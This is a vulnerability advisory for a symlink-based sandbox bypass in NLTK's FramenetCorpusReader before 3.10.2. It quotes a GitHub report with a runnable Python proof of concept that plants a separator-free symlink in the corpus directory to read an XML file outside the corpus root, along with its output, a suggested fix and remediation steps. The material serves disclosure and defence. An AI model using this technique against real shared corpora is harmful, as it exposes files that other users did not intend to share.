CVE-2026-62384: NLTK FramenetCorpusReader Symlink Sandbox Bypass before 3.10.2
NLTK versions before 3.10.2 contain a symlink-based sandbox bypass in FramenetCorpusReader that allows attackers to read arbitrary XML files outside the corpus root. Attackers can place symlinks with names containing no path separators inside the corpus subdirectory, which pass the path validation guard and are resolved to files outside the intended corpus root when accessed via framebyname(), lufile(), or doc() methods.
Other sources
This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.
Summary
The original advisory was fixed (PR #3581) by adding rejectunsafepathcomponent(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self.root.join(fileid)), which is a plain lexical join, not the symlink-resolving, requiredroot-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.
A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.
Affected code (nltk/corpus/reader/framenet.py)
- framebyname() reads <framedir>/<name>.xml - lufile() reads <ludir>/lu<id>.xml - doc() reads <fulltextdir>/<filename>
All three follow the same chain: rejectunsafepathcomponent(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no requiredroot.
Proof of concept
Self-contained, runnable end to end.
python import os import tempfile
from nltk.corpus.reader.framenet import FramenetCorpusReader
root = tempfile.mkdtemp() corpusroot = os.path.join(root, "framenetv17") framedir = os.path.join(corpusroot, "frame") secretdir = os.path.join(root, "outsideframenetroot") os.makedirs(framedir) os.makedirs(secretdir)
with open(os.path.join(corpusroot, "frRelation.xml"), "w") as f: f.write("<frameRelations/>")
secretpath = os.path.join(secretdir, "stolen.xml") with open(secretpath, "w") as f: f.write( '<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">' "<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>" "</frame>" )
Attacker plants this inside <corpusroot>/frame/. No path separators, so it passes rejectunsafepathcomponent cleanly. linkpath = os.path.join(framedir, "evillink.xml") os.symlink(secretpath, linkpath)
reader = FramenetCorpusReader(corpusroot, []) reader.frameidx = {"dummy": {"name": "dummy"}} # skip unrelated index build
result = reader.framebyname("evillink") # normal, routine call, no ".." anywhere print("frame name:", result["name"]) print("definition:", result["definition"])
Actual output when run against unpatched main (commit 35813c8):
frame name: StolenFrame definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT
That content was read from secretpath, a file entirely outside corpusroot, via a single, unmodified, public API call. No exception is raised anywhere in the chain; rejectunsafepathcomponent passes because "evillink" contains no separators, .., or drive prefix.
Verified the same way for the other two affected call sites, lufile() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised. Why this is in scope
- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own SECURITY.md names "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call. - Core corpus-reader code, not a demo/GUI tool. - Confirmed unintentional: PR #3581's own description states the goal was to route through "the nltk.pathsec sandbox... including the strict ENFORCE=True mode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, since abspath() never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).
Suggested fix
Route all three call sites through CorpusReader.open() (or pass requiredroot=self.root to validatepath() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().
— GitHub
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/nltkto a version that resolves this vulnerability.Fixed in 3.10.2 - Upgrade
Upgrade
NLTK FramenetCorpusReaderto a version that resolves this vulnerability.Fixed in 3.10.2 - Compensating control
If upgrading is not immediately possible in shared/multi-tenant environments, ensure the Framenet corpus directory (e.g., the framenet_v17 subdirectories like frame/, lu/, and fulltext/) is not writable by untrusted users so they cannot plant symlinks (e.g., a symlink named without separators such as "evil_link.xml") inside it.
Event History
Frequently Asked Questions
What conditions are required for exploitation?
An attacker must be able to place a symlink inside the FrameNet corpus subdirectory. The symlink name must contain no path separators, and exploitation occurs when the application accesses it through frame_by_name(), _lu_file(), or doc().
What data can be exposed?
The flaw allows reading arbitrary XML files located outside the intended corpus root when a permitted symlink resolves to those files. The issue affects confidentiality; no integrity or availability impact is specified.
Which versions should be remediated?
NLTK FramenetCorpusReader versions before 3.10.2 are affected. Update to version 3.10.2 or later.